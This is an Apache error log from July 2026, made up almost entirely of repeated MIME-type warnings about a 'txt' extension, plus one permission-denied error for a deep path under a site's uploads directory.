[Fri Jul 17 10:31:21.801502 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801522 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801540 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801557 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801600 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801618 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801638 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801655 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801689 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801710 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801729 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801745 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801763 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801780 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801800 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801821 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801840 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801859 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801877 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801894 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801912 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801930 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801949 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801968 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.801985 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802003 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802022 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802054 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802079 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802099 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802116 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802136 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802158 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802178 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802196 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802212 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802229 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802249 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802269 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802290 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802317 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802337 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.802355 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:21.904949 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.011213 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.107977 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.205230 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.305520 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.407475 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.521507 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.610556 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.712438 2026] [mime:warn] [pid 2076231:tid 2076231] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.812270 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:22.913889 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.014126 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.116530 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217120 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217210 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217232 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217250 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217267 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217283 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217300 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217317 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217332 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217348 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217364 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217380 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217398 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217414 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217430 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217446 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217462 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217478 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217494 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217510 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217539 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217556 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217573 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217589 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217605 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217621 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217637 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217653 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217687 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217706 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217722 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217739 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217766 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217783 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217799 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217825 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217843 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217860 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217876 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217901 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217917 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217932 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217948 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217974 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.217995 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218012 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218037 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218052 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218068 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218092 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218123 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218139 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218165 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218181 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.218197 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.316996 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317101 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317125 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317143 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317161 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317177 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317194 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317210 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317227 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317243 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317260 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317276 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317293 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317310 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317326 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317342 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317359 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317375 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317391 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317407 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317424 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317440 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317456 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317473 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317489 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317505 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317522 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317538 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317555 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317571 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317587 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317604 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317621 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317638 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317654 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317670 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317719 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317753 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317769 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317786 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317802 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317818 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317838 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317879 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317927 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317948 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317974 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.317990 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318006 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318022 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318038 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318054 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318070 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318095 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.318114 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.568590 2026] [mime:warn] [pid 2075718:tid 2075718] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.575859 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.627361 2026] [mime:warn] [pid 2075901:tid 2075901] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830723 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830812 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830844 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830874 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830891 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830918 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830944 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830961 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830977 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.830994 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831021 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831048 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831088 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831109 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831151 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831187 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831210 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831228 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831255 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831275 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831296 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831323 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831352 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831369 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831386 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831410 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831445 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831473 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831505 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831541 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831559 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831576 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831596 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831615 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831631 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831649 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831693 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831725 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831745 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831765 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831782 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831801 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831818 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831836 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831857 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831877 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831895 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831914 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831934 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831954 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831980 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.831999 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.832016 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.832036 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.832066 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:23.936657 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.034480 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.181491 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.334280 2026] [mime:warn] [pid 2076257:tid 2076257] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.439398 2026] [mime:warn] [pid 2075692:tid 2075692] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.541441 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.638914 2026] [core:error] [pid 2076231:tid 2076231] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty50/subsystem/ttyS2/iomem_base
[Fri Jul 17 10:31:24.737654 2026] [mime:warn] [pid 2075690:tid 2075690] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.846364 2026] [mime:warn] [pid 2076188:tid 2076188] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.895232 2026] [mime:warn] [pid 2075705:tid 2075705] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:24.948451 2026] [mime:warn] [pid 2075693:tid 2075693] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:31:25.056575 2026] [mime:warn] [pid 2075904:tid 2075904] AH01599: Cannot get media type from 'txt'
